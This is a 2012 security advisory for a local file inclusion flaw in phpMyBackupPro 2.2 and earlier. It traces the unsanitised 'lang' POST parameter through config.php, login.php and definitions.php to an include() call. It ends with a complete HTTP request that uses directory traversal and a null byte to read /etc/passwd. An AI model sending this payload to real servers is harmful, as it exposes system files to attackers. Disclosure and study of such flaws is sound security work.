phpMyBackupPro <= 2.2 - Local File Inclusion Vulnerability

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   [ Discovered by dun \ posdub[at]gmail.com ]
   [ 2012-07-03                              ]
 ##################################################################
 # [ phpMyBackupPro <= 2.2 ]  Local File Inclusion Vulnerability  #
 ##################################################################
 #
 # Script: "phpMyBackupPro is a very easy to use, free, web-based
 #          MySQL backup application, licensed under the GNU GPL."
 #
 # Vendor:   http://www.phpmybackuppro.net/
 # Download: http://sourceforge.net/projects/phpmybackup/files/phpMyBackupPro/
 #
 #
 # File: ./phpMyBackupPro-2.2/config.php (line: 26)
 #  ..cut..
 #  26    require_once("login.php");                                                 // 1
 #  ..cut..
 #
 # File: ./phpMyBackupPro-2.2/login.php (line: 29)
 #  ..cut..
 #  29    require_once("definitions.php");                                           // 2
 #  ..cut..
 #
 # File: ./phpMyBackupPro-2.2/definitions.php (lines: 201-206)
 #  ..cut..
 #  201    // check if language was just changed in config.php
 #  202    if (isset($_POST['lang']) && preg_replace("#.*/#","",$_SERVER['PHP_SELF'])=="config.php") $CONF['lang']=$_POST['lang']; // 3
 #  203
 #  204    // include language.inc.php
 #  205    if (!isset($CONF['lang'])) $CONF['lang']="english";
 #  206    if (!file_exists($prepath.PMBP_LANGUAGE_DIR.$CONF['lang'].".inc.php"))    // 4
 #           include_once($prepath.PMBP_LANGUAGE_DIR."english.inc.php");             // 4
 #           else include($prepath.PMBP_LANGUAGE_DIR.$CONF['lang'].".inc.php");      // 4 [LFI]
 #  ..cut..
 #
 #
 # [LFI] ( magic_quotes_gpc = Off; )
 # Vuln:
 #
 #  POST /phpMyBackupPro-2.2/config.php HTTP/1.1
 #  Host: localhost
 #  User-Agent: Mozilla/5.0
 #  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 #  Accept-Language: pl,en-us;q=0.7,en;q=0.3
 #  Accept-Encoding: gzip, deflate
 #  Connection: keep-alive
 #  Content-Type: application/x-www-form-urlencoded
 #  Content-Length: 39
 #  lang=../../../../../../../etc/passwd%00
 #
 ### [ dun / 2012 ] #####################################################